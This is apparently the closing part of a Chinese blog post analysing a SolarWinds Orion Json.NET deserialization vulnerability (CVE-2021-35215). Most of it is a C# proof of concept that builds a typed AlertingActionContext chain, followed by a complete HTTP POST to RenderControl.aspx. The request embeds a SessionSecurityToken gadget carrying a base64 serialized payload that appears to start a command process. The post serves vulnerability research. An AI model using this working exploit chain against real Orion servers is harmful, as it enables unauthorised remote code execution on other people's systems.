image-20220910152941466

ViewContextJsonString的setting会调用this.ParseViewContext();

image-20220910153543421

json.net的TypeNameHandling.Objects

至于TypeNameHandling.Objects的构造链看不是很懂,后面在补充

POC:

using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            var alertingActionContext = new AlertingActionContext();
            var macroContext = new MacroContext();
            var swisEntityContext = new SwisEntityContext();
            var dictionary = new Dictionary<string, Object>();
            dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
            var propertyBag = new PropertyBag(dictionary);
            swisEntityContext.EntityProperties = propertyBag;
            macroContext.Add(swisEntityContext);

            alertingActionContext.MacroContext = macroContext;
            JsonSerializerSettings settings = new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Objects
            };
            var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
            Console.WriteLine(serializeObject);
            var streamWriter =
                new StreamWriter(@"C:\Users\admin\Desktop\my\code\netcore\ConsoleApp1\ConsoleApp1\poc.json");
            // serializeObject = serializeObject.Replace("\"", "\\\"");
            streamWriter.Write(serializeObject);
            streamWriter.Close();
        }
    }
}
POST /Orion/RenderControl.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 3648
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/RenderControl.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close

{"Control":"~/Orion/Actions/Controls/CustomPropertyView.ascx","config":{"EnviromentType":"Alerting","ViewContextJsonString":"


{
  \"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",
  \"ExecutionMode\": 0,
  \"EnviromentType\": 0,
  \"EntityType\": null,
  \"EntityUri\": null,
  \"EntityUris\": null,
  \"IsGlobalAlert\": false,
  \"AlertContext\": {
    \"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",
    \"AlertName\": null,
    \"CreatedBy\": null
  },
  \"AlertActiveId\": null,
  \"AlertObjectId\": null,
  \"NetObjectData\": null,
  \"ObjectDataExists\": false,
  \"MacroContext\": {
    \"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",
    \"contexts\": [
      {
        \"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",
        \"DisplayName\": \"Net object properties\",
        \"EntityType\": null,
        \"EntityUri\": null,
        \"EntityProperties\": {
          \"$type\": \"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",
          \"1\": {
            \"$type\": \"System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",
            \"SessionToken\": {
              \"$type\": \"System.Byte[], mscorlib\",
              \"$value\": \"QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6a1ARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdndVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0dsdVp5QnNiMk5oYkdodmMzUWdMWFFpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ==\"
            }
          }
        }
      }
    ]
  }
}



"},"pd989ovue8":"="}

结尾

分析过程还是挺有意思的,如CVE-2021-35215漏洞的通过加载json反序列化获取值进行控件加载,寻找可利用控件触发net. json反序列化触发。受益颇多。

posted @ 2022-09-11 13:51  nice_0e3  阅读(955)  评论(0编辑  收藏  举报